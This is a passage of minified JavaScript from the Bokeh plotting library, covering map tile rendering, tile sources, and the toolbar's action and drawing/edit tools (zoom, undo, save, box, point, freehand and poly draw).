t=this.model.tile_source,e=this.get_extent(),i=this.map_frame._height.value,n=this.map_frame._width.value,r=this.model.tile_source.get_level_by_extent(e,i,n),o=this.model.tile_source.get_tiles_by_extent(e,r),s=0,a=Math.min(10,o.length);s<a;s++)for(var l=o[s],h=l[0],u=l[1],c=l[2],_=this.model.tile_source.children_by_tile_xyz(h,u,c),p=0,d=_;p<d.length;p++){var f=d[p],v=f[0],m=f[1],g=f[2],y=f[3];t.tile_xyz_to_key(v,m,g)in t.tiles||this._create_tile(v,m,g,y,!0)}},t.prototype._fetch_tiles=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=n[2],a=n[3];this._create_tile(r,o,s,a)}},t.prototype._update=function(){var t=this,e=this.model.tile_source,i=e.min_zoom,n=e.max_zoom,r=this.get_extent(),o=this.extent[2]-this.extent[0]<r[2]-r[0],s=this.map_frame._height.value,a=this.map_frame._width.value,l=e.get_level_by_extent(r,s,a),h=!1;l<i?(r=this.extent,l=i,h=!0):n<l&&(r=this.extent,l=n,h=!0),h&&(this.x_range.setv({x_range:{start:r[0],end:r[2]}}),this.y_range.setv({start:r[1],end:r[3]}),this.extent=r),this.extent=r;for(var u=e.get_tiles_by_extent(r,l),c=[],_=[],p=[],d=[],f=0,v=u;f<v.length;f++){var m=v[f],g=m[0],y=m[1],b=m[2],x=e.tile_xyz_to_key(g,y,b),w=e.tiles[x];if(null!=w&&w.loaded)_.push(x);else if(this.model.render_parents){var k=e.get_closest_parent_by_tile_xyz(g,y,b),S=k[0],C=k[1],T=k[2],A=e.tile_xyz_to_key(S,C,T),E=e.tiles[A];if(null!=E&&E.loaded&&!I.includes(p,A)&&p.push(A),o)for(var M=e.children_by_tile_xyz(g,y,b),O=0,z=M;O<z.length;O++){var P=z[O],j=P[0],N=P[1],F=P[2],D=e.tile_xyz_to_key(j,N,F);D in e.tiles&&d.push(D)}}null==w&&c.push(m)}this._render_tiles(p),this._render_tiles(d),this._render_tiles(_),null!=this.render_timer&&clearTimeout(this.render_timer),this.render_timer=setTimeout(function(){return t._fetch_tiles(c)},65)},t}(s.RendererView);i.TileRendererView=c;var _=function(e){function t(t){return e.call(this,t)||this}return r.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileRenderer\\\",this.prototype.default_view=c,this.define({alpha:[h.Number,1],x_range_name:[h.String,\\\"default\\\"],y_range_name:[h.String,\\\"default\\\"],smoothing:[h.Bool,!0],tile_source:[h.Instance,function(){return new n.WMTSTileSource}],render_parents:[h.Bool,!0]}),this.override({level:\\\"underlay\\\"})},t}(s.Renderer);(i.TileRenderer=_).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(223),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileSource\\\",this.define({url:[s.String,\\\"\\\"],tile_size:[s.Number,256],max_zoom:[s.Number,30],min_zoom:[s.Number,0],extra_url_vars:[s.Any,{}],attribution:[s.String,\\\"\\\"],x_origin_offset:[s.Number],y_origin_offset:[s.Number],initial_resolution:[s.Number]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.tiles={},this.pool=new o.ImagePool,this._normalize_case()},t.prototype.string_lookup_replace=function(t,e){var i=t;for(var n in e){var r=e[n];i=i.replace(\\\"{\\\"+n+\\\"}\\\",r)}return i},t.prototype._normalize_case=function(){var t=this.url.replace(\\\"{x}\\\",\\\"{X}\\\").replace(\\\"{y}\\\",\\\"{Y}\\\").replace(\\\"{z}\\\",\\\"{Z}\\\").replace(\\\"{q}\\\",\\\"{Q}\\\").replace(\\\"{xmin}\\\",\\\"{XMIN}\\\").replace(\\\"{ymin}\\\",\\\"{YMIN}\\\").replace(\\\"{xmax}\\\",\\\"{XMAX}\\\").replace(\\\"{ymax}\\\",\\\"{YMAX}\\\");this.url=t},t.prototype.tile_xyz_to_key=function(t,e,i){return t+\\\":\\\"+e+\\\":\\\"+i},t.prototype.key_to_tile_xyz=function(t){var e=t.split(\\\":\\\").map(function(t){return parseInt(t)}),i=e[0],n=e[1],r=e[2];return[i,n,r]},t.prototype.sort_tiles_from_center=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3],s=(r-i)/2+i,a=(o-n)/2+n;t.sort(function(t,e){var i=Math.sqrt(Math.pow(s-t[0],2)+Math.pow(a-t[1],2)),n=Math.sqrt(Math.pow(s-e[0],2)+Math.pow(a-e[1],2));return i-n})},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.Model);(i.TileSource=a).initClass()},function(t,e,i){var n=t(33);function c(t,e){return n.wgs84_mercator.forward([t,e])}function _(t,e){return n.wgs84_mercator.inverse([t,e])}i.geographic_to_meters=c,i.meters_to_geographic=_,i.geographic_extent_to_meters=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=c(e,i),s=o[0],a=o[1],l=c(n,r),h=l[0],u=l[1];return[s,a,h,u]},i.meters_extent_to_geographic=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=_(e,i),s=o[0],a=o[1],l=_(n,r),h=l[0],u=l[1];return[s,a,h,u]}},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TMSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.MercatorTileSource);(i.TMSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WMTSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2];return n.replace(\\\"{X}\\\",o.toString()).replace(\\\"{Y}\\\",s.toString()).replace(\\\"{Z}\\\",a.toString())},t}(r.MercatorTileSource);(i.WMTSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(19),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._clicked=function(){this.model.do.emit()},e}(r.ButtonToolButtonView);i.ActionToolButtonView=s;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.do,function(){return t.doit()})},t}(r.ButtonToolView);i.ActionToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=s,e.do=new o.Signal0(e,\\\"do\\\"),e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ActionTool\\\"},t}(r.ButtonTool);(i.ActionTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button-custom-action\\\")},e}(r.ActionToolButtonView);i.CustomActionButtonView=a;var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.model.callback;s.isFunction(t)?t(this,{}):t.execute(this,{})},e}(r.ActionToolView);i.CustomActionView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Custom Action\\\",e.button_view=a,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CustomAction\\\",this.prototype.default_view=l,this.define({action_tooltip:[o.String,\\\"Perform a Custom Action\\\"],callback:[o.Any],icon:[o.String]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.action_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.CustomAction=h).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){window.open(this.model.redirect)},e}(r.ActionToolView);i.HelpToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Help\\\",e.icon=\\\"bk-tool-icon-help\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HelpTool\\\",this.prototype.default_view=s,this.define({help_tooltip:[o.String,\\\"Click the question mark to learn more about Bokeh plot tools.\\\"],redirect:[o.String,\\\"https://bokeh.pydata.org/en/latest/docs/user_guide/tools.html#built-in-tools\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.help_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.HelpTool=a).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_redo()})},t.prototype.doit=function(){this.plot_view.redo()},t}(r.ActionToolView);i.RedoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Redo\\\",e.icon=\\\"bk-tool-icon-redo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RedoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.RedoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.reset()},e}(r.ActionToolView);i.ResetToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Reset\\\",e.icon=\\\"bk-tool-icon-reset\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ResetTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.ResetTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.save(\\\"bokeh_plot\\\")},e}(r.ActionToolView);i.SaveToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Save\\\",e.icon=\\\"bk-tool-icon-save\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"SaveTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.SaveTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_undo()})},t.prototype.doit=function(){this.plot_view.undo()},t}(r.ActionToolView);i.UndoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Undo\\\",e.icon=\\\"bk-tool-icon-undo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"UndoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.UndoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomInToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom In\\\",e.icon=\\\"bk-tool-icon-zoom-in\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomInTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomInTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,-this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomOutToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom Out\\\",e.icon=\\\"bk-tool-icon-zoom-out\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomOutTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomOutTool=l).initClass()},function(t,e,i){var n=t(391),r=t(6),o=t(266),s=t(5),a=t(15),l=t(38),h=t(44),u=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.change,function(){return e.render()}),this.el.addEventListener(\\\"click\\\",function(){return e._clicked()}),this.render()},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button\\\")},t.prototype.render=function(){s.empty(this.el);var t=this.model.computed_icon;h.isString(t)&&(l.startsWith(t,\\\"data:image\\\")?this.el.style.backgroundImage=\\\"url('\\\"+t+\\\"')\\\":this.el.classList.add(t)),this.el.title=this.model.tooltip},t}(r.DOMView);i.ButtonToolButtonView=u;var c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(o.ToolView);i.ButtonToolView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ButtonTool\\\",this.internal({disabled:[a.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t}(o.Tool);(i.ButtonTool=_).initClass()},function(t,e,i){var n=t(391),o=t(5),r=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){if(null==this._draw_basepoint&&null==this._basepoint){var e=t.shiftKey;this._select_event(t,e,this.model.renderers)}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];if(t.keyCode===o.Keys.Backspace)this._delete_selected(n);else if(t.keyCode==o.Keys.Esc){var r=n.data_source;r.selection_manager.clear()}}},e.prototype._set_extent=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l=this.model.renderers[0],h=this.plot_model.frame,u=l.glyph,c=l.data_source,_=h.xscales[l.x_range_name],p=h.yscales[l.y_range_name],d=_.r_invert(r,o),f=d[0],v=d[1],m=p.r_invert(s,a),g=m[0],y=m[1],b=[(f+v)/2,(g+y)/2],x=b[0],w=b[1],k=[v-f,y-g],S=k[0],C=k[1],T=[u.x.field,u.y.field],A=T[0],E=T[1],M=[u.width.field,u.height.field],O=M[0],z=M[1];if(i)this._pop_glyphs(c,this.model.num_objects),A&&c.get_array(A).push(x),E&&c.get_array(E).push(w),O&&c.get_array(O).push(S),z&&c.get_array(z).push(C),this._pad_empty_columns(c,[A,E,O,z]);else{var P=c.data[A].length-1;A&&(c.data[A][P]=x),E&&(c.data[E][P]=w),O&&(c.data[O][P]=S),z&&(c.data[z][P]=C)}this._emit_cds_changes(c,!0,!1,n)},e.prototype._update_box=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),null!=this._draw_basepoint){var n=[t.sx,t.sy],r=this.plot_model.frame,o=this.model.dimensions,s=this.model._get_dim_limits(this._draw_basepoint,n,r,o);if(null!=s){var a=s[0],l=s[1];this._set_extent(a,l,e,i)}}},e.prototype._doubletap=function(t){this.model.active&&(null!=this._draw_basepoint?(this._update_box(t,!1,!0),this._draw_basepoint=null):(this._draw_basepoint=[t.sx,t.sy],this._select_event(t,!0,this.model.renderers),this._update_box(t,!0,!1)))},e.prototype._move=function(t){this._update_box(t,!1,!1)},e.prototype._pan_start=function(t){if(t.shiftKey){if(null!=this._draw_basepoint)return;this._draw_basepoint=[t.sx,t.sy],this._update_box(t,!0,!1)}else{if(null!=this._basepoint)return;this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy]}},e.prototype._pan=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),t.shiftKey){if(null==this._draw_basepoint)return;this._update_box(t,e,i)}else{if(null==this._basepoint)return;this._drag_points(t,this.model.renderers)}},e.prototype._pan_end=function(t){if(this._pan(t,!1,!0),t.shiftKey)this._draw_basepoint=null;else{this._basepoint=null;for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}}},e}(s.EditToolView);i.BoxEditToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Edit Tool\\\",e.icon=\\\"bk-tool-icon-box-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxEditTool\\\",this.prototype.default_view=a,this.define({dimensions:[r.Dimensions,\\\"both\\\"],num_objects:[r.Int,0]})},t}(s.EditTool);(i.BoxEditTool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(21),l=t(44),s=t(251),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._mouse_in_frame=!0,t}return n.__extends(t,e),t.prototype._move_enter=function(t){this._mouse_in_frame=!0},t.prototype._move_exit=function(t){this._mouse_in_frame=!1},t.prototype._map_drag=function(t,e,i){var n=this.plot_model.frame;if(!n.bbox.contains(t,e))return null;var r=n.xscales[i.x_range_name].invert(t),o=n.yscales[i.y_range_name].invert(e);return[r,o]},t.prototype._delete_selected=function(t){var e=t.data_source,i=e.selected.indices;i.sort();for(var n=0,r=e.columns();n<r.length;n++)for(var o=r[n],s=e.get_array(o),a=0;a<i.length;a++){var l=i[a];s.splice(l-a,1)}this._emit_cds_changes(e)},t.prototype._pop_glyphs=function(t,e){var i=t.columns();if(e&&i.length)for(var n=0,r=i;n<r.length;n++){var o=r[n],s=t.get_array(o),a=s.length-e+1;a<1||(l.isArray(s)||(s=Array.from(s),t.data[o]=s),s.splice(0,a))}},t.prototype._emit_cds_changes=function(t,e,i,n){void 0===e&&(e=!0),void 0===i&&(i=!0),void 0===n&&(n=!0),i&&t.selection_manager.clear(),e&&t.change.emit(),n&&(t.data=t.data,t.properties.data.change.emit())},t.prototype._drag_points=function(t,e){if(null!=this._basepoint){for(var i=this._basepoint,n=i[0],r=i[1],o=0,s=e;o<s.length;o++){var a=s[o],l=this._map_drag(n,r,a),h=this._map_drag(t.sx,t.sy,a);if(null!=h&&null!=l){for(var u=h[0],c=h[1],_=l[0],p=l[1],d=[u-_,c-p],f=d[0],v=d[1],m=a.glyph,g=a.data_source,y=[m.x.field,m.y.field],b=y[0],x=y[1],w=0,k=g.selected.indices;w<k.length;w++){var S=k[w];b&&(g.data[b][S]+=f),x&&(g.data[x][S]+=v)}g.change.emit()}}this._basepoint=[t.sx,t.sy]}},t.prototype._pad_empty_columns=function(t,e){for(var i=0,n=t.columns();i<n.length;i++){var r=n[i];o.includes(e,r)||t.get_array(r).push(this.model.empty_value)}},t.prototype._select_event=function(t,e,i){var n=this.plot_model.frame,r=t.sx,o=t.sy;if(!n.bbox.contains(r,o))return[];for(var s={type:\\\"point\\\",sx:r,sy:o},a=[],l=0,h=i;l<h.length;l++){var u=h[l],c=u.get_selection_manager(),_=u.data_source,p=[this.plot_view.renderer_views[u.id]],d=c.select(p,s,!0,e);d&&a.push(u),_.properties.selected.change.emit()}return a},t}(s.GestureToolView);i.EditToolView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EditTool\\\",this.define({custom_icon:[r.String],custom_tooltip:[r.String],empty_value:[r.Any],renderers:[r.Array,[]]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.custom_tooltip||this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.custom_icon||this.icon},enumerable:!0,configurable:!0}),t}(s.GestureTool);(i.EditTool=h).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),v=t(44),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._draw=function(t,e,i){if(void 0===i&&(i=!1),this.model.active){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=r[0],s=r[1],a=n.data_source,l=n.glyph,h=[l.xs.field,l.ys.field],u=h[0],c=h[1];if(\\\"new\\\"==e)this._pop_glyphs(a,this.model.num_objects),u&&a.get_array(u).push([o]),c&&a.get_array(c).push([s]),this._pad_empty_columns(a,[u,c]);else if(\\\"add\\\"==e){if(u){var _=a.data[u].length-1,p=a.get_array(u)[_];v.isArray(p)||(p=Array.from(p),a.data[u][_]=p),p.push(o)}if(c){var d=a.data[c].length-1,f=a.get_array(c)[d];v.isArray(f)||(f=Array.from(f),a.data[c][d]=f),f.push(s)}}this._emit_cds_changes(a,!0,!0,i)}}},e.prototype._pan_start=function(t){this._draw(t,\\\"new\\\")},e.prototype._pan=function(t){this._draw(t,\\\"add\\\")},e.prototype._pan_end=function(t){this._draw(t,\\\"add\\\",!0)},e.prototype._tap=function(t){this._select_event(t,t.shiftKey,this.model.renderers)},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Esc?n.data_source.selection_manager.clear():t.keyCode===r.Keys.Backspace&&this._delete_selected(n)}},e}(s.EditToolView);i.FreehandDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Freehand Draw Tool\\\",e.icon=\\\"bk-tool-icon-freehand-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\"],e.default_order=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FreehandDrawTool\\\",this.prototype.default_view=a,this.define({num_objects:[o.Int,0]})},t}(s.EditTool);(i.FreehandDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){var e=t.shiftKey,i=this._select_event(t,e,this.model.renderers);if(!i.length&&this.model.add){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=n.glyph,s=n.data_source,a=[o.x.field,o.y.field],l=a[0],h=a[1],u=r[0],c=r[1];this._pop_glyphs(s,this.model.num_objects),l&&s.get_array(l).push(u),h&&s.get_array(h).push(c),this._pad_empty_columns(s,[l,h]),s.change.emit(),s.data=s.data,s.properties.data.change.emit()}}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&n.data_source.selection_manager.clear()}},e.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},e.prototype._pan=function(t){this.model.drag&&null!=this._basepoint&&this._drag_points(t,this.model.renderers)},e.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}this._basepoint=null}},e}(s.EditToolView);i.PointDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Point Draw Tool\\\",e.icon=\\\"bk-tool-icon-point-draw\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=2,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PointDrawTool\\\",this.prototype.default_view=a,this.define({add:[o.Bool,!0],drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.EditTool);(i.PointDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),y=t(44),s=t(248),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t._initialized=!1,t}return n.__extends(t,e),t.prototype._tap=function(t){this._drawing?this._draw(t,\\\"add\\\",!0):this._select_event(t,t.shiftKey,this.model.renderers)},t.prototype._draw=function(t,e,i){var n;void 0===i&&(i=!1);var r=this.model.renderers[0],o=this._map_drag(t.sx,t.sy,r);if(this._initialized||this.activate(),null!=o){var s=o[0],a=o[1];n=this._snap_to_vertex(t,s,a),s=n[0],a=n[1];var l=r.data_source,h=r.glyph,u=[h.xs.field,h.ys.field],c=u[0],_=u[1];if(\\\"new\\\"==e)this._pop_glyphs(l,this.model.num_objects),c&&l.get_array(c).push([s,s]),_&&l.get_array(_).push([a,a]),this._pad_empty_columns(l,[c,_]);else if(\\\"edit\\\"==e){if(c){var p=l.data[c][l.data[c].length-1];p[p.length-1]=s}if(_){var d=l.data[_][l.data[_].length-1];d[d.length-1]=a}}else if(\\\"add\\\"==e){if(c){var f=l.data[c].length-1,p=l.get_array(c)[f],v=p[p.length-1];p[p.length-1]=s,y.isArray(p)||(p=Array.from(p),l.data[c][f]=p),p.push(v)}if(_){var m=l.data[_].length-1,d=l.get_array(_)[m],g=d[d.length-1];d[d.length-1]=a,y.isArray(d)||(d=Array.from(d),l.data[_][m]=d),d.push(g)}}this._emit_cds_changes(l,!0,!1,i)}},t.prototype._show_vertices=function(){for(var t=[],e=[],i=0;i<this.model.renderers.length;i++){var n=this.model.renderers[i],r=n.data_source,o=n.glyph,s=[o.xs.field,o.ys.field],a=s[0],l=s[1];if(a)for(var h=0,u=r.get_array(a);h<u.length;h++){var c=u[h];Array.prototype.push.apply(t,c)}if(l)for(var _=0,p=r.get_array(l);_<p.length;_++){var c=p[_];Array.prototype.push.apply(e,c)}this._drawing&&i==this.model.renderers.length-1&&(t.splice(t.length-1,1),e.splice(e.length-1,1))}this._set_vertices(t,e)},t.prototype._doubletap=function(t){this.model.active&&(this._drawing?(this._drawing=!1,this._draw(t,\\\"edit\\\",!0)):(this._drawing=!0,this._draw(t,\\\"new\\\",!0)))},t.prototype._move=function(t){this._drawing&&this._draw(t,\\\"edit\\\")},t.prototype._remove=function(){var t=this.model.renderers[0],e=t.data_source,i=t.glyph,n=[i.xs.field,i.ys.field],r=n[0],o=n[1];if(r){var s=e.data[r].length-1,a=e.get_array(r)[s];a.splice(a.length-1,1)}if(o){var l=e.data[o].length-1,h=e.get_array(o)[l];h.splice(h.length-1,1)}this._emit_cds_changes(e)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&(this._drawing&&(this._remove(),this._drawing=!1),n.data_source.selection_manager.clear())}},t.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},t.prototype._pan=function(t){if(null!=this._basepoint&&this.model.drag){for(var e=this._basepoint,i=e[0],n=e[1],r=0,o=this.model.renderers;r<o.length;r++){var s=o[r],a=this._map_drag(i,n,s),l=this._map_drag(t.sx,t.sy,s);if(null!=l&&null!=a){var h=s.data_source,u=s.glyph,c=[u.xs.field,u.ys.field],_=c[0],p=c[1];if(_||p){for(var d=l[0],f=l[1],v=a[0],m=a[1],g=[d-v,f-m],y=g[0],b=g[1],x=0,w=h.selected.indices;x<w.length;x++){var k=w[x],S=void 0,C=void 0,T=void 0;_&&(C=h.data[_][k]),p?(T=h.data[p][k],S=T.length):S=C.length;for(var A=0;A<S;A++)C&&(C[A]+=y),T&&(T[A]+=b)}h.change.emit()}}}this._basepoint=[t.sx,t.sy]}},t.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source)}this._basepoint=null}},t.prototype.activate=function(){var t=this;if(this.model.vertex_renderer&&this.model.active){if(this._show_vertices(),!this._initialized)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e],r=n.data_source;r.connect(r.properties.data.change,function(){return t._show_vertices()})}this._initialized=!0}},t.prototype.deactivate=function(){this._drawing&&(this._remove(),this._drawing=!1),this.model.vertex_renderer&&this._hide_vertices()},t}(s.PolyToolView);i.PolyDrawToolView=a;var l=function(i){function t(t){var 